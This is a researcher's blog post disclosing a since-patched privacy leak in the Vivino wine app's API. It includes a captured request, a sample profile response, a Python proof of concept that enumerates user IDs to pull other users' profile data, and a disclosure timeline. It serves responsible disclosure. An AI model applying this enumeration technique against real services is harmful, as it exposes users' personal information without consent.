Vivino is one of the top wine apps out there, featuring the ability to get tons of information about a specific wine by taking a photo of the label. In my experience, it works well and can be very useful for the wine enthusiast. After some use of the app, I became interested in how it worked and began proxying its web requests, leading me to discover a privacy issue in the API.
Below is a request from the app I captured fetching my profile information:
GET http://app.vivino.com/api/users/7503188?app_version=8.1.3&user_id=7503188&include_ranking=true&include_relationship=true&app_platform=android&app_phone=Verizon+SCH-I545+jfltevzw+4.4.2&os_version=4.4.2&uuid=bee6a052-2970-4b4b-b261-675c7c5780c2&language=en HTTP/1.1 Authorization: Bearer ***REMOVED*** User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.4.2; SCH-I545 Build/KOT49H) Host: app.vivino.com Connection: Keep-Alive Accept-Encoding: gzip
And here’s the JSON response:
{ "id": 7503188, "seo_name": "RWest", "alias": "Randy Westergren", "first_name": "Randy", "last_name": "Westergren", "email": "***REMOVED***", "is_featured": false, "image": { "location": "//images.vivino.com/avatars/004gthusg8vet758bbff886.jpg", "variations": { "large": "//images.vivino.com/avatars/004gthu88xwj5758bbff886.jpg", "small_square": "//images.vivino.com/avatars/004gthusg8vet758bbff886.jpg" } }, "background_image": null, "bio": null, "website": null, "address": { "street": null, "city": null, "zip": null, "state": ***REMOVED***, "country": "it" }, "followers_count": 0, "following_count": 0, "ratings_count": 0, "scans_count": 2, "badges_count": 4, "visibility": "all", "is_pro": false, "ranking": null, "relationship": { "is_followed_by_me": false, "is_following_me": false, "follow_requested": false, "followers_in_common_count": 0, "follows_in_common_count": 0 } }
Some relatively sensitive information is returned about the user. Noticing the user ID parameter in the original request, I wondered how safe this data was from other users. Altering this ID by one confirmed my suspicion that the API was leaking sensitive data.
Below is a proof-of-concept that decrements the user ID, outputting the first user with a “State” filled out in their profile.
import requests headers = {'Authorization': 'Bearer ***REMOVED***'} mid = 7503103 while 1: url = "http://app.vivino.com/api/users/%d?app_version=8.1.3&user_id=7503188&include_ranking=true&include_relationship=true&app_platform=android&app_phone=Verizon+SCH-I545+jfltevzw+4.4.2&os_version=4.4.2&uuid=bee6a052-2970-4b4b-b261-675c7c5780c2&language=en" %mid r = requests.get(url, headers=headers) data = r.json() if data.get("address") and data.get("address").get("state"): print r.text quit() mid -= 1
The script almost immediately returned a result. My next step was to reach out to Vivino, though I couldn’t find much contact information. I tried their Twitter account and was shortly in direct contact with their COO.
My experience with Vivino was exemplary. Their team responded immediately, kept me updated, and most importantly, quickly released a patch. They even upgraded me for a free year of their premium product in appreciation.
Disclosure Timeline
2015-01-08: Initial contact and report of vuln with POC
2015-01-08: Acknowledgement of the issue w/ detailed plan of action
2015-01-13: Update from Vivino stating the fix is being tested
2015-01-15: Fix deployed and confirmation of resolution


